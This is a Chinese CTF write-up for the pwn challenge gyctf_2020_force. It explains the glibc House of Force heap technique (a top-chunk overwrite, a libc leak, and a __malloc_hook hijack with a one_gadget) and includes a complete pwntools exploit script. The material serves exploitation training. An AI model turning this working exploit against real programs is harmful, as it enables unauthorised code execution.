欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

House of force —— gyctf_2020_force

程序员文章站 2022-07-15 15:35:10
...

前言:

House of force是属于House of xxx系列的利用方法,House of xxx是2004年《The Malloc Maleficarum-Glibc Malloc Exploitation Techniques》中提出的一系列针对glibc堆分配机制的利用方法。
想要利用House of force,需要以下条件:
1.能够以溢出等方式控制top chunk的size域。
2.能够*的分配堆的大小

解题思路

保护机制

House of force —— gyctf_2020_force
保护全开,64位。

IDA查看伪代码

House of force —— gyctf_2020_force
程序有两个功能,一个是添加,一个是输出,其中输出并没有输出任何东西,我们也就不看。
我们重点来看添加函数:
House of force —— gyctf_2020_force
关于添加函数,堆的分配大小是随便我们设置的,并没有任何限制。并且,无论我们分配多大的堆块,我们都只能写0x50大小的数据,也就是说我们分配小一点的堆块就可以造成溢出。
在分配完堆块之后,程序会把堆头的位置告诉我们,关于这一点,我们想到能不能用这个来泄露堆的基址呢?如果能泄露,我们是不是可以直接利用unlink来劫持堆块的指针,从而达到getshell。
但是由于程序开了PIE,我们每次泄露的堆头地址都和堆结构体距离不同,这样的话,我们就不能用以上思路来解题了。

思路总结

条件分析

既然题目提示了使用house of force,我们就不再犹豫了。
第一个条件,我们只要分配小一点的堆块我们就可以溢出改写topchunk的size。
第二个条件,程序本身就可以分配任意大小的堆块,并没有任何限制。
这样,这个程序就可以用house of force来攻击。

攻击链路

我们首先分配一个稍微大一点的堆块,程序就会用mmap映射一段地址,而libc就在这段地址的下面一位,这样我们就可以利用固定的偏移来泄露libc的基址了。
House of force —— gyctf_2020_force
得到libc基址后我们就想着劫持malloc_hook了(因为程序开了Full RELRO,我们不能劫持GOT表)。
我们就分配一个非常大的堆块,让我们堆块的下面就是malloc的地址,这样我们再次分配的时候,我们就可以来改写malloc_hook处的地址了。

完整exp:

#! /usr/bin/env python 
from pwn import *

p = process('./gyctf_2020_force')
#p = remote('node3.buuoj.cn', 27255)
elf = ELF('./gyctf_2020_force')
libc = ELF('./libc.so.6')

def new(size, content):
    p.sendlineafter('2:puts\n', '1')
    p.sendlineafter('size\n', str(size))
    p.recvuntil('addr ')
    heap = int(p.recv(14), 16)
    p.sendlineafter('content\n', content)
    return heap

libc_base = new(0x200000, 'aaa') + 0x200ff0
print 'libc_base : ' + hex(libc_base)
heap_base = new(0x18, 'a' * 0x10 + p64(0) + p64(0xFFFFFFFFFFFFFFFF))
print 'heap_base : ' + hex(heap_base)
top = heap_base + 0x10
malloc_hook = libc.sym['__malloc_hook'] + libc_base
offset = malloc_hook - top
print 'offset : ' + hex(offset)
realloc = libc.sym['__libc_realloc'] + libc_base

onegadget = [0x45216, 0x4526a, 0xf0274, 0xf1117]
one = onegadget[1] + libc_base
new(offset - 0x33, 'a' * 0x8)
new(0x10, 'a' * 0x8 + p64(one) + p64(realloc + 0x10))

p.sendlineafter('2:puts\n', '1')
p.sendlineafter('size\n', str(0x40))
p.interactive()

我们这里稍微解释一下,为什么offset要减去0x33。
老pwn狗都知道,当我们分配fastbin范围的堆块时,分配的地址处必须要有对应的大小才能通过检测。
做fastbin attack做的多了,我们自然就知道在libc2.23的malloc_hook - 0x23处有一个0x7f的数值,这里貌似用不到,但是,我们分配距离0x33就是为了不让top chunk的size位不覆盖到他,这样方便绕过检测。
最后我们使用realloc来调节栈帧使得one_gadget可以使用。

相关标签: 堆溢出 pwn